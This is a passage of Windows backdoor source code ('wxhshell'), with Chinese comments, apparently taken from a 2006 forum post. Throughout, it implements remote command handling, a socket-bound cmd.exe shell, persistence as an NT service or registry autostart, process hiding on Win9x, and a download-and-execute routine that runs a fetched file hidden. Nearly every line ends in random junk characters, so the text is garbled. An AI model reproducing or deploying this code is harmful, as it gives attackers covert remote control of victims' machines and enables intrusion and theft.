      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z OwKh>]  
    break; UF37|+"E  
  } b7-M'-Km0_  
  // 安装  ;;>hWAS  
  case 'i': { oA/[>\y  
    if(Install()) LFvO[&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v'3.`aZ!  
    else N8*6sK.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RE)!b  
    break; 2kukQj (n  
    } ) 0NKL:u  
  // 卸载 6!F@?3qCyg  
  case 'r': { (j<FS>##  
    if(Uninstall()) iM \3~3'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3XykIj1  
    else =Q+i(UGHi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yf1&"WW4  
    break; 1M@OBfB8  
    } VZveNz@]r  
  // 显示 wxhshell 所在路径 zD}@QoB  
  case 'p': { G-7!|&  
    char svExeFile[MAX_PATH]; 8w4-Ud*$i  
    strcpy(svExeFile,"\n\r"); T0HNld  
      strcat(svExeFile,ExeFile); b$@vJ7V!  
        send(wsh,svExeFile,strlen(svExeFile),0); DA=#T2)p  
    break; |!t &ZpdD  
    } *Wbs{>&No  
  // 重启 [d"]AF[#  
  case 'b': { 2Xw=kwu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RBOb/.$  
    if(Boot(REBOOT)) /;5U-<qf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y5@#le M  
    else { tL#~U2K  
    closesocket(wsh); _\"2Mdk`]  
    ExitThread(0); _PPZ!r(  
    } QK~44;LVIJ  
    break; FS'|e?WU  
    } 8-#_xsZ^;  
  // 关机 ov3FKMG?  
  case 'd': { PI G3kJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "rl(%~Op  
    if(Boot(SHUTDOWN)) "aL.`^.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x."R_>  
    else { DUrfC[jpv  
    closesocket(wsh); ?.{SYaS  
    ExitThread(0); 90"&KDh  
    } |.#G G7F^S  
    break; 4*0C_F@RX  
    } sA(d_ Yu_  
  // 获取shell ,|}}Ml  
  case 's': { WHF[l1  
    CmdShell(wsh); MiK -W  
    closesocket(wsh); gDN7ly]6M  
    ExitThread(0); ~`Y!_'(x  
    break; 1j_gQ,'20  
  } [,bra8f[C  
  // 退出 b#%$y  
  case 'x': { )tvP|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UWXl c  
    CloseIt(wsh); 02 $d  
    break; #zf,%IYF  
    } I%|,KWM  
  // 离开 nmo<t]  
  case 'q': { `{KdmWhW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zH5pe  
    closesocket(wsh); n2V $dF4m  
    WSACleanup(); #}p@+rkg2  
    exit(1); N%f% U  
    break; n 9>**&5L  
        } C ^IPddw>  
  } W5*Kq^6Pd  
  } b)+;=o%  
""f'L,`{.  
  // 提示信息 P:#KBF;a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :{LNr!I?I  
} \:BixBU7  
  } \; voBU  
u<['9U  
  return; " "@kBY1C  
} \<aR^Sj.  
B7QRG0  
// shell模块句柄 =vs]Kmm  
int CmdShell(SOCKET sock) /2f  
{ %f?Z/Wn  
STARTUPINFO si; fsjCu!  
ZeroMemory(&si,sizeof(si)); y9Q #%a8V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~tc,p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !AXt6z cZ  
PROCESS_INFORMATION ProcessInfo; b!<\#[ A4  
char cmdline[]="cmd"; drQI@sPp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .fgVzDR|+  
  return 0; >~;= j~  
} r!<)CT}D  
diWi0@  
// 自身启动模式 OZR{+YrB^  
int StartFromService(void) vbh 5  
{ L9$`zc  
typedef struct [xdi.6 %  
{ |}o6N5)  
  DWORD ExitStatus; PX- PVW  
  DWORD PebBaseAddress; 8w$q4fg0  
  DWORD AffinityMask; j4:Xel/  
  DWORD BasePriority; F{G.dXZZ<  
  ULONG UniqueProcessId; /UqIkc  
  ULONG InheritedFromUniqueProcessId; 4KX\'K  
}   PROCESS_BASIC_INFORMATION; 4aiI&,  
w{WEYS  
PROCNTQSIP NtQueryInformationProcess; ,hOi5,|?L  
ElA(1o|9I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R=J5L36F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z8ds`KZM  
x~JOg57up  
  HANDLE             hProcess; F.{$HJ  
  PROCESS_BASIC_INFORMATION pbi; msVi3`q~  
{%oxzdPc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D JZ$M  
  if(NULL == hInst ) return 0; sOO_J!bblP  
Aw]kQ\P&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ES\=MO5a7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n5 2Q-6H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $jOp:R&I^3  
r+!29  
  if (!NtQueryInformationProcess) return 0; [Y4Wm?  
Z,oCkv("n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I8/tD|3  
  if(!hProcess) return 0; c2u*<x  
mpNS}n6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?_7iL?  
&;naaV_2T  
  CloseHandle(hProcess); 7Bym?  
1+#E|YWJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N;v]ypak  
if(hProcess==NULL) return 0; 9>@Vk vpY  
f28bBuv1?  
HMODULE hMod; f~R+Q/Gtz`  
char procName[255]; w! PguP  
unsigned long cbNeeded; '!F'B:  
6HZVBZhM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nT%ko7~-  
>qVSepK3  
  CloseHandle(hProcess); (<}BlL   
L6"V=^Bq  
if(strstr(procName,"services")) return 1; // 以服务启动 8+ ]'2{  
vSy[lB|)24  
  return 0; // 注册表启动 :Y|[?;  
} W9QVfe#s  
dJe 3DW :  
// 主模块 _SnD)k+TgJ  
int StartWxhshell(LPSTR lpCmdLine) :=*V i`  
{ ZfXgVTJ`  
  SOCKET wsl; `n RF"T_  
BOOL val=TRUE; +{#L,0t  
  int port=0; g2?yT ?  
  struct sockaddr_in door; Ae%AG@L  
_\gCdNrD  
  if(wscfg.ws_autoins) Install(); ]v]tBVO$  
"d`u#YmR  
port=atoi(lpCmdLine); PQ{5*}$N  
Ciy%7_~\  
if(port<=0) port=wscfg.ws_port; q+} \ (|  
=!G{+&j  
  WSADATA data; B3<sSe8L0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~e&O?X  
A&A{Thz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~9PZ/( '  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !;4Hh)2  
  door.sin_family = AF_INET; <I#M^}`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w"37sv  
  door.sin_port = htons(port); H>Ucmd;ay  
dUUg}/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ' &3,qT  
closesocket(wsl); wD:2sri  
return 1; :cf#Tpq"  
} p1\mjM  
/|lAxAm?  
  if(listen(wsl,2) == INVALID_SOCKET) { W4bN']?  
closesocket(wsl); ;E ,i  
return 1; p: )=i"uL  
} S503b*pM  
  Wxhshell(wsl); w:/3%-  
  WSACleanup(); kZ PL$ \/A  
@j"6f|d  
return 0; `(ik2#B`}  
T2n3g|4  
} S>)[n]f  
%WC ^aKfY  
// 以NT服务方式启动 #hP>IU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &F:.OVzX  
{ 2C1NDrS;}  
DWORD   status = 0; %P{3c~?DH  
  DWORD   specificError = 0xfffffff; 3 /PvH E{R  
` Z/ MQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e0#t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'tDUPm38  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xI.0m  
  serviceStatus.dwWin32ExitCode     = 0; ~4|Trz2T  
  serviceStatus.dwServiceSpecificExitCode = 0; 'c_K[p$  
  serviceStatus.dwCheckPoint       = 0; 5f MlOP_  
  serviceStatus.dwWaitHint       = 0; Pf/8tXs}  
0yvp>{;p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :wN !E{0j  
  if (hServiceStatusHandle==0) return; 1Vx5tOq  
D1 $ER>  
status = GetLastError(); ~L>86/hP,N  
  if (status!=NO_ERROR) !.-u'6e  
{ 0qIg:+l+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7A) E4f'  
    serviceStatus.dwCheckPoint       = 0; X# /c7w-  
    serviceStatus.dwWaitHint       = 0; rLE+t(x(0  
    serviceStatus.dwWin32ExitCode     = status; ##} 7cFX  
    serviceStatus.dwServiceSpecificExitCode = specificError; O;5lF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?;H}5>^8P  
    return; Pjn{3/*wi  
  } j@w1S[vt  
:`E p#[Wvo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d S'J@e=#  
  serviceStatus.dwCheckPoint       = 0; l^$'6q"  
  serviceStatus.dwWaitHint       = 0; >x3lA0m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @OGG]0 J  
} fUGappb  
Zxhbnl6  
// 处理NT服务事件,比如:启动、停止 YaL:6[6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OScqf]H  
{ s2GF*{  
switch(fdwControl) (KwC,0p  
{ aL`wz !  
case SERVICE_CONTROL_STOP: "<{|ni}  
  serviceStatus.dwWin32ExitCode = 0; ,p OGT71  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  jr_z ?  
  serviceStatus.dwCheckPoint   = 0; )TKn5[<4  
  serviceStatus.dwWaitHint     = 0; {y a .  
  { pkae91  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ji ./m8(  
  } G~v:@  
  return; ~;a \S3  
case SERVICE_CONTROL_PAUSE: HsUh5;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @K+gh#  
  break; lSW'qgh  
case SERVICE_CONTROL_CONTINUE: IM7<z,*oF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z#ki# o  
  break; *z)gSX  
case SERVICE_CONTROL_INTERROGATE: ,[t? $Cy ;  
  break; _ilitwRN3  
}; UAT\ .  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9cUa@;*1  
} 1YJ?Y  
biU_ImJ>0  
// 标准应用程序主函数 |Tc4a4jS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zL9~gJ  
{ 9Li*L&B)  
=>B"j`oR  
// 获取操作系统版本 w$AR  
OsIsNt=GetOsVer(); xO Aq!,|V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mO]>]   
ZJQFn  
  // 从命令行安装 1}c'UEr%)  
  if(strpbrk(lpCmdLine,"iI")) Install(); gwQMy$  
iB"ji4[z  
  // 下载执行文件 abm 3q!a-  
if(wscfg.ws_downexe) { Um 6}h@>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d1/9 A-{  
  WinExec(wscfg.ws_filenam,SW_HIDE); @ci..::5  
} BWy-R6br  
VOZxLyj^9  
if(!OsIsNt) { w5{l-Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 d+,!p8Q  
HideProc(); r A(A$VR  
StartWxhshell(lpCmdLine); "mQcc }8  
} :;yrYAyT3  
else }O>1tauI  
  if(StartFromService()) `G/g/>y  
  // 以服务方式启动 }`Ya;  
  StartServiceCtrlDispatcher(DispatchTable); rU&Y/  
else =CRptk6tS  
  // 普通方式启动 pR93T+X  
  StartWxhshell(lpCmdLine); Ao$k[#px  
8K?}!$fz  
return 0; J  sz=5`  
}
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只看该作者 1 发表于: 2006-10-10
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